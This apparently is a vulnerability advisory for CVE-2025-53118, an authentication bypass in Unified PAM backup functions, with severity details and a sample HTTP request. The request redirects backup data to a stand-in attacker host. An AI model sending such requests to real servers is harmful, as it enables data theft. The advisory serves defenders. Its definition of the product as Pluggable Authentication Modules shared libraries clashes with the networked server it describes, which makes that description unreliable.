Overview
In the world of cybersecurity, ensuring the integrity and safety of system data is paramount. Any vulnerability that poses a threat to these principles is a cause for concern. CVE-2025-53118 is one such vulnerability that affects the Unified Pluggable Authentication Modules (PAM), a suite of shared libraries that enables the local system administrator to choose how applications authenticate users.
This vulnerability allows an unauthenticated attacker to bypass authentication procedures and control administrator backup functions. This could potentially lead to the compromise of passwords, secrets, and application session tokens stored by the Unified PAM. Given the severity of this vulnerability, it is vital for system administrators and cybersecurity practitioners to understand the details and take immediate mitigation actions.
Vulnerability Summary
CVE ID: CVE-2025-53118
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
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Product | Affected Versions
Unified PAM | All versions prior to 1.3.2
How the Exploit Works
The vulnerability lies in the backup functionality of the Unified PAM. An unauthenticated attacker can send specially crafted packets to the server hosting the Unified PAM. These packets mimic the commands that an administrator would send for backup operations. If the server processes these packets, the attacker gains control over the backup functions.
This control allows the attacker to view, modify, or delete any data that the backup function has access to. This includes sensitive data like passwords, secrets, and application session tokens. The attacker could use this data for further malicious actions, such as escalating their privileges on the system or launching attacks against other systems.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that an attacker might send:
POST /admin/backup/start HTTP/1.1
Host: vulnerable-server.example.com
Content-Type: application/json
{ "command": "start", "destination": "attacker-controlled-server.example.com" }In this example, the attacker sends a command to start a backup operation and sends the backup data to a server controlled by them.